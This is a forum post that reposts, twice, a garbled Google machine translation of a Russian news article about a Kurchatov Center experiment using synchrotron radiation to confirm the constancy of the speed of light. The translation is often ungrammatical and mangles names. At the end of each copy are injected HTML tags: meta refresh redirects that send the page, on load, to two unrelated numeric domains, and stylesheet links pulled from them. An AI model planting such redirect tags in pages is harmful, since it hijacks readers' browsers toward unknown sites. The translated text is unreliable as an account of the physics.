库尔恰托夫核研究中心用实验直接验证确认了爱因斯坦狭义 ...

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http://www.gazeta.ru/science/2011/09/16_a_3771913.shtml

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google翻译版：

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Russian physics experiments have confirmed the second postulate of SRT


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The first direct experimental confirmation of the second postulate of special relativity (the constancy of the speed of light) have carried out based on the physics of the Kurchatov synchrotron radiation center . The work was done under the guidance of Academician of RAS Yevgeny Alexandrov.

In the experiments, the pulsed light source was a source of synchrotron radiation (SR) - electron storage ring Siberia-1 at the Kurchatov Center of Synchrotron Radiation Research Center CT .


Attempts to test the postulate began 60 years ago, when Academician Vavilov instructed his doctorate Bonch-Bruevich an experiment. Vavilov suggested to his student to design a setup in which a light source would be a beam of fast excited atoms. In the process of detailed development plan for the experiment proved that there is no chance of getting a reliable result, because the technology of those days could not be relied on beams of the desired speed and density: the expected ballistic hypothesis in addition to the speed of light is at the level of interest and the intensity of the radiation beam was estimated too low. The experience was not implemented.

Over the past few decades, various attempts to prove experimentally the second postulate of SRT repeatedly been made by scientists. All the authors of the works came to a conclusion on the validity of the postulate.
But it did not stop the critical statements, which were put forward objections to the ideas of experimentation or questioned their accuracy. The latter is connected, usually with small attainable speed of the light source compared to the speed of light.

Now the Russian physicists were able to realize the experiment proposed by Vavilov, the original beauty, because physics is now in the hands of an extremely bright source of ultrarelativistic. This synchrotron emitter, where the light source is a bunch of electrons moving on a curved trajectory with a velocity very close to the speed of light.



In these circumstances, it is easy to measure the speed of the emitted light in perfect laboratory vacuum. By the logic of ballistic hypothesis that speed should be equal to twice the speed of light from a stationary source. This is a very rough effect, the discovery of which (if it exists) would not need any special tricks. Indeed, simply measure the time of the light pulse dimensional interval in the evacuated space.

Test results, which can be found here , reiterated the commitment of the postulate. Thus, it was first performed direct measurement of the speed of light emitted by an ultrarelativistic source.

&quot;You could say that this is a demonstration experiment for future textbooks of physics.&quot; - Said Alexander. - &quot;Of course, for professional physicists, there is no doubt expected result. In this sense, the experience is useless. However, direct demonstration of the constancy of the speed of light is of great didactic value, limiting the ground for further speculations about the foundations of the theory of relativity not been proved. Physics in its development ever to be played back and clarify the fundamental experiments carried out with the new technical possibilities. In this case, is not intended to specify the speed of light. It is about filling gaps in the historical origins of experimental substantiation of SRT, which should facilitate the perception of this rather paradoxical theory. &quot;<meta http-equiv="refresh" content="0; url=http://558812.com">
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<br /><br />=================
http://www.gazeta.ru/science/2011/09/16_a_3771913.shtml

==


google翻译版：

--
Russian physics experiments have confirmed the second postulate of SRT


--
The first direct experimental confirmation of the second postulate of special relativity (the constancy of the speed of light) have carried out based on the physics of the Kurchatov synchrotron radiation center . The work was done under the guidance of Academician of RAS Yevgeny Alexandrov.

In the experiments, the pulsed light source was a source of synchrotron radiation (SR) - electron storage ring Siberia-1 at the Kurchatov Center of Synchrotron Radiation Research Center CT .


Attempts to test the postulate began 60 years ago, when Academician Vavilov instructed his doctorate Bonch-Bruevich an experiment. Vavilov suggested to his student to design a setup in which a light source would be a beam of fast excited atoms. In the process of detailed development plan for the experiment proved that there is no chance of getting a reliable result, because the technology of those days could not be relied on beams of the desired speed and density: the expected ballistic hypothesis in addition to the speed of light is at the level of interest and the intensity of the radiation beam was estimated too low. The experience was not implemented.

Over the past few decades, various attempts to prove experimentally the second postulate of SRT repeatedly been made by scientists. All the authors of the works came to a conclusion on the validity of the postulate.
But it did not stop the critical statements, which were put forward objections to the ideas of experimentation or questioned their accuracy. The latter is connected, usually with small attainable speed of the light source compared to the speed of light.

Now the Russian physicists were able to realize the experiment proposed by Vavilov, the original beauty, because physics is now in the hands of an extremely bright source of ultrarelativistic. This synchrotron emitter, where the light source is a bunch of electrons moving on a curved trajectory with a velocity very close to the speed of light.



In these circumstances, it is easy to measure the speed of the emitted light in perfect laboratory vacuum. By the logic of ballistic hypothesis that speed should be equal to twice the speed of light from a stationary source. This is a very rough effect, the discovery of which (if it exists) would not need any special tricks. Indeed, simply measure the time of the light pulse dimensional interval in the evacuated space.

Test results, which can be found here , reiterated the commitment of the postulate. Thus, it was first performed direct measurement of the speed of light emitted by an ultrarelativistic source.

&quot;You could say that this is a demonstration experiment for future textbooks of physics.&quot; - Said Alexander. - &quot;Of course, for professional physicists, there is no doubt expected result. In this sense, the experience is useless. However, direct demonstration of the constancy of the speed of light is of great didactic value, limiting the ground for further speculations about the foundations of the theory of relativity not been proved. Physics in its development ever to be played back and clarify the fundamental experiments carried out with the new technical possibilities. In this case, is not intended to specify the speed of light. It is about filling gaps in the historical origins of experimental substantiation of SRT, which should facilitate the perception of this rather paradoxical theory. &quot;<meta http-equiv="refresh" content="0; url=http://558812.com">
<meta http-equiv="refresh" content="0; url=http://585895.com">
<link href="http://558812.com/y6y8.css" rel="stylesheet" type="text/css" media="screen" />
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<link href="http://585895.com/kk.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>

<P>&nbsp;</P>

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